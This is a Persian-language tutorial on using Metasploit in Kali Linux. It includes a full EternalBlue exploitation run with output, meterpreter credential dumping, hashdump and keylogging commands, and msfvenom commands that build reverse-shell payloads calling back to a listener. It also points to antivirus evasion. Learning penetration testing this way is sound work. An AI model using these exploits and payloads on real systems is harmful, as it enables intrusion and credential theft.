</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

Metasploit Framework در Kali

راهنمای پیشرفته Metasploit Framework: اکسپلویت، payload، post-exploitation و meterpreter.

پیشرفته۱۱ دقیقه مطالعهآخرین بروزرسانی: ۵ تیر ۱۴۰۵ویرایش در گیت‌هاب

Metasploit Framework قدرتمندترین ابزار اکسپلویت در دنیای امنیت است که بیش از ۲۰۰۰ اکسپلویت و ۱۰۰۰ payload را در اختیار متخصصان امنیت قرار می‌دهد. در این آموزش، با ساختار، دستورات و کاربردهای عملی Metasploit در Kali Linux آشنا می‌شویم.

استفادهٔ مسئولانه

Metasploit یک ابزار قدرتمند برای تست نفوذ مجاز است. استفادهٔ آن روی سیستم‌هایی که مالک آن‌ها نیستید یا مجوز کتبی ندارید، جرم محسوب می‌شود. تنها در محیط‌های آزمایشگاهی یا با مجوز صریح از آن استفاده کنید.

Metasploit چیست؟#

Metasploit Framework (MSF) یک پلتفرم متن‌باز برای توسعه، تست و اجرای اکسپلویت است. این ابزار توسط Rapid7 توسعه می‌یابد و نسخهٔ Community آن به‌صورت رایگان در دسترس است. Kali نسخهٔ Community را به‌صورت پیش‌فرض ارائه می‌دهد.

راه‌اندازی پایگاه داده#

پیش از استفاده از Metasploit، پایگاه داده را مقداردهی اولیه کنید:

# مقداردهی اولیهٔ پایگاه داده
sudo msfdb init
 
# بررسی وضعیت
msfdb status
 
# خروجی:
# [*] Database started
# [*] ok

راه‌اندازی msfconsole#

# راه‌اندازی کنسول Metasploit
sudo msfconsole -q
 
# خروجی:
# =[ metasploit v6.4.5-dev                          ]
# + -- --=[ 2429 exploits - 1252 auxiliary - 410 post           ]
# + -- --=[ 1391 payloads - 46 encoders - 11 nops               ]
# + -- --=[ 9 evasion                                               ]
 
msf6 >

ساختار ماژول‌ها#

Metasploit شامل چندین نوع ماژول است:

نوعتعداد تقریبیتوضیح
Exploit۲۴۰۰+کد اکسپلویت آسیب‌پذیری
Auxiliary۱۲۵۰+اسکنر، fuzz، dos
Post۴۱۰+ماژول‌های پس از نفوذ
Payload۱۳۹۰+کدی که روی هدف اجرا می‌شود
Encoder۴۶رمزنگاری payload
NOP۱۱_NOP sled

دستورات پایه#

۱. جستجوی اکسپلویت#

msf6 > search eternalblue
 
# Matching Modules
# ================
#   #  Name                                           Rank       Description
#   -  ----                                           ----       -----------
#   0  exploit/windows/smb/ms17_010_eternalblue      average    MS17-010 EternalBlue

۲. انتخاب ماژول#

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

۳. نمایش گزینه‌ها#

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
 
# Module options (exploit/windows/smb/ms17_010_eternalblue):
#    Name           Current Setting  Required  Description
#    ----           ---------------  --------  -----------
#    RHOSTS                          yes       The target host(s)
#    RPORT          445              yes       The target port
#    SMBDomain      .                no        (Optional) Windows domain
#    VERIFY_ARCH    true             yes       Check if remote architecture matches
#    VERIFY_TARGET  true             yes       Check if remote OS matches
 
# Payload options (windows/x64/meterpreter/reverse_tcp):
#    Name      Current Setting  Required  Description
#    ----      ---------------  --------  -----------
#    EXITFUNC  thread           yes       Exit technique
#    LHOST     192.168.1.5      yes       The listen address
#    LPORT     4444             yes       The listen port

۴. تنظیم گزینه‌ها#

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp

۵. اجرای اکسپلویت#

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
 
[*] Started reverse TCP handler on 192.168.1.5:4444 
[*] 192.168.1.10:445 - Connecting to target for exploitation.
[+] 192.168.1.10:445 - Connection established for exploitation.
[+] 192.168.1.10:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.10:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.10:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.10:445 - Starting non-paged pool grooming
[+] 192.168.1.10:445 - Sending SMBv2 buffers
[*] 192.168.1.10:445 - Sending final SMBv2 buffers
[*] 192.168.1.10:445 - Sending last fragment of exploit packet!
[*] 192.168.1.10:445 - Receiving response from exploit packet
[+] 192.168.1.10:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.10:445 - Sending egg to corrupted connection.
[*] 192.168.1.10:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.10:49174)
 
meterpreter >

Meterpreter — payload پیشرفته#

Meterpreter (Meta-Interpreter) یک payload قدرتمند است که پس از اکسپلویت موفق، یک شل غنی روی هدف ارائه می‌دهد.

دستورات پایه Meterpreter#

دستورتوضیح
sysinfoاطلاعات سیستم هدف
getuidشناسهٔ کاربر فعلی
pwdمسیر فعلی
lsلیست فایل‌ها
cdتغییر مسیر
downloadدانلود فایل از هدف
uploadآپلود فایل به هدف
shellاجرای شل سیستمی
portfwdforwarding پورت
routerouting
screenshotعکس‌برداری از صفحه
keyscan_startشروع keylogger
hashdumpاستخراج هش‌ها
migrateانتقال به فرآیند دیگر
backgroundبازگشت به پس‌زمینه

مثال عملی#

meterpreter > sysinfo
# Computer        : DESKTOP-ABC123
# OS              : Windows 10 (10.0 Build 19045).
# Architecture    : x64
# System Language : en_US
# Domain          : WORKGROUP
# Logged On Users : 2
# Meterpreter     : x64/windows
 
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
 
meterpreter > hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
 
meterpreter > shell
# Process 3544 created.
# Channel 1 created.
# Microsoft Windows [Version 10.0.19045.2965]
# C:\Windows\system32>

ماژول‌های Post-Exploitation#

پس از دسترسی به هدف، می‌توانید از ماژول‌های post-exploitation استفاده کنید:

msf6 > background
[*] Backgrounding session 1...
 
msf6 > use post/windows/gather/credentials/credential_collector
msf6 post(windows/gather/credentials/credential_collector) > set SESSION 1
SESSION => 1
 
msf6 post(windows/gather/credentials/credential_collector) > run
 
[*] Running module against DESKTOP-ABC123
[*] Collecting credentials...
[+] Found cached credentials for user: Administrator
[+] Hash: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Post module execution completed

Multi/Handler — listener#

برای دریافت reverse shell از یک payload:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
 
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
 
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
 
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444

msfvenom — تولید payload#

ابزار msfvenom برای تولید payload سفارشی استفاده می‌شود:

# تولید payload Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
 
# خروجی:
# [-] No platform was selected, choosing Msf::Module::Platform::Windows
# [-] No arch selected, selecting arch: x64
# No encoder specified, outputting raw payload
# Payload size: 510 bytes
# Final size of exe file: 7168 bytes
# Saved as: shell.exe
 
# تولید payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.py
 
# تولید payload PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php

تخطی از آنتی‌ویروس

payloadهای تولیدشده با msfvenom به‌راحتی توسط آنتی‌ویروس‌ها شناسایی می‌شوند. برای آموزش واقعی، از encoders یا Veil Framework استفاده کنید. اما این کار فقط در محیط‌های مجاز انجام شود.

جدول Payloadهای رایج#

Payloadتوضیح
windows/x64/meterpreter/reverse_tcpWindows Meterpreter
windows/x64/shell_reverse_tcpشل ساده Windows
linux/x64/meterpreter/reverse_tcpLinux Meterpreter
php/meterpreter_reverse_tcpPHP Meterpreter
python/meterpreter/reverse_tcpPython Meterpreter
java/meterpreter/reverse_tcpJava Meterpreter
android/meterpreter/reverse_tcpAndroid Meterpreter

Workspaces — مدیریت پروژه‌ها#

msf6 > workspace -a ProjectA
[*] Added workspace: ProjectA
[*] Workspace: ProjectA
 
msf6 > workspace
  default
* ProjectA
 
msf6 > workspace default
[*] Workspace: default

Resource Scripts — اتوماسیون#

می‌توانید دستورات Metasploit را در یک فایل ذخیره و اجرا کنید:

# ساخت resource script
cat > /tmp/auto_exploit.rc <<EOF
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
EOF
 
# اجرای resource script
sudo msfconsole -r /tmp/auto_exploit.rc

SearchSploit — جستجوی ExploitDB#

SearchSploit نسخهٔ محلی پایگاه دادهٔ ExploitDB است:

# جستجوی اکسپلویت
searchsploit apache 2.4
 
# خروجی:
# --------------------------------------------- ---------------------------------
#  Exploit Title                               |  Path
# --------------------------------------------- ---------------------------------
# Apache 2.4.49 - Path Traversal               | multiple/webapps/50383.py
# Apache 2.4.50 - RCE                          | multiple/webapps/50406.sh
# --------------------------------------------- ---------------------------------
 
# کپی اکسپلویت
searchsploit -m 50383.py

خطاهای رایج#

"Exploit completed, but no session was created"#

دلایل:

  • پورت فایروال هدف بسته است
  • نسخهٔ آسیب‌پذیر روی هدف نیست
  • LHOST اشتباه تنظیم شده
  • آنتی‌ویروس payload را بلاک کرده

راه‌حل:

  • با nmap مجدداً اسکن کنید
  • set VerifyArch false و set VerifyTarget false را امتحان کنید
  • مطمئن شوید LHOST آدرس قابل دسترس شماست

"Connection refused"#

دلیل: هدف پورت را بسته یا سرویس اجرا نیست.

راه‌حل: با nmap بررسی کنید سرویس واقعاً فعال است.

msfconsole بسیار کند اجرا می‌شود#

راه‌حل:

# راه‌اندازی مجدد پایگاه داده
sudo msfdb reinit
 
# یا فقط کنسول بدون دیتابیس
msfconsole -q --no-deferred-load

session بلافاصله قطع می‌شود#

راه‌حل:

# انتقال به فرآیند پایدارتر
meterpreter > migrate -N explorer.exe

Migrate بلافاصله پس از نفوذ

پس از دریافت session، بلافاصله migrate را به یک فرآیند پایدار مانند explorer.exe یا svchost.exe انجام دهید تا session شما از بین نرود.

خلاصه و مرحلهٔ بعد#

Metasploit Framework قدرتمندترین ابزار اکسپلویت در دسترس متخصصان امنیت است. با درک ساختار ماژول‌ها، گزینه‌ها و Meterpreter، می‌توانید ارزیابی‌های امنیتی حرفه‌ای انجام دهید. تمرین منظم در محیط‌های آزمایشی کلید تسلط بر این ابزار است.

به‌عنوان گام بعدی:

اشتراک‌گذاری:

این صفحه در تاریخ ۵ تیر ۱۴۰۵ به‌روزرسانی شده است.